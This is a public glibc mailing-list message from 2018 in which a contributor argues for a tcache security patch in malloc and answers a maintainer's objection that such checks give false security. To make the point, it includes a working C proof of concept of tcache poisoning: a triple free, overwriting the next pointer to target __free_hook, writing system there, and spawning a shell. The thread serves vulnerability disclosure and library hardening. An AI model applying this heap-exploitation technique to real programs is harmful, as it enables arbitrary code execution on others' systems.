public inbox for libc-help@sourceware.org
 help / color / mirror / Atom feed
From: 清水祐太郎 <simiyu@shift-crops.net>
To: "Ondřej Bílka" <neleai@seznam.cz>
Cc: "libc-help@sourceware.org" <libc-help@sourceware.org>
Subject: RE: malloc/free: tcache security patch
Date: Sat, 21 Apr 2018 00:58:00 -0000	[thread overview]
Message-ID: <20180421005820.9827D10E8014@mail.shift-crops.net> (raw)
In-Reply-To: <20180420213618.GA12494@domone>

I already read this post, but I sent an email because there was no patch.
"malloc: Security implications of tcache"(https://sourceware.org/ml/libc-alpha/2018-02/msg00298.html)

Certainly it is important to find vulnerabilities in user programs in first.
However, as long as there is a possibility that a bug exists, it is necessary to protect it with glibc.

> In short malloc check don't protect you and can't protect you. This
> patch only makes malloc slower for false sense of security.
The patch can protect you from the following attacks without buffer overflow.

```
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

typedef struct tcache_entry
{
        struct tcache_entry *next;
} tcache_entry;

int main(void){
        void *a;
        tcache_entry *p;
        unsigned long *s;

        a = malloc(0x20);
        dprintf(0, "Malloc from %p, and free three times.\n", a);
        free(a);
        free(a);
        free(a);

        p = malloc(0x20);
        p->next = &__free_hook;
        dprintf(0, "Malloc from tcache(%p) and tamper tcache_entry's next into __free_hook(%p).\n", p, &__free_hook);

        malloc(0x20);

        s = malloc(0x20);
        *s = system;
        dprintf(0,  "Now, you can malloc from __free_hook(%p)\n"
                    "Write system to __free_hook, and get a shell!\n\n", s);

        free("/bin/sh");
}
```

> Attacker could use buffer overflow in lot of ways before its freed. Also
> attacker could with some effort examine check and fake data structure to
> make check pass.
Attacker still can easily pass double free checks in tcache_put.
However, bypassing the chunk size check in tcache_get is very difficult.
You can prevent malloc from arbitrary address.

Windows 10 版のメールから送信

差出人: Ondřej Bílka
送信日時: 2018年4月21日 6:36
宛先: 清水祐太郎
CC: libc-help@sourceware.org
件名: Re: malloc/free: tcache security patch



On Fri, Apr 20, 2018 at 09:44:10PM +0900, 清水祐太郎 wrote:
> Hello
> 
> I'm Yutaro Shimizu (ShiftCrops).
> 
> I want to patch malloc.c.
> The mechanism of tcache is very similar to fastbins.
> However, I can malloc from arbitrary addresses by tampering the tcache_entry.
> That's because there is no chunk verification process.
> I think it is an important security issue.
> 
This was discussed recently, search archives.

In short malloc check don't protect you and can't protect you. This
patch only makes malloc slower for false sense of security.

Attacker could use buffer overflow in lot of ways before its freed. Also
attacker could with some effort examine check and fake data structure to
make check pass.

These are mainly used as tool to debug malloc implementation. That they
sometimes serve as poor's man valgrind is secondary. You should use
valgrind to find and fix buffer overflows in first place.


  reply	other threads:[~2018-04-21  0:58 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2018-04-20 12:44 清水祐太郎
2018-04-20 21:36 ` Ondřej Bílka
2018-04-21  0:58   ` 清水祐太郎 [this message]
2018-04-21  2:06     ` Carlos O'Donell
2018-04-21  5:37       ` 清水祐太郎

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20180421005820.9827D10E8014@mail.shift-crops.net \
    --to=simiyu@shift-crops.net \
    --cc=libc-help@sourceware.org \
    --cc=neleai@seznam.cz \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).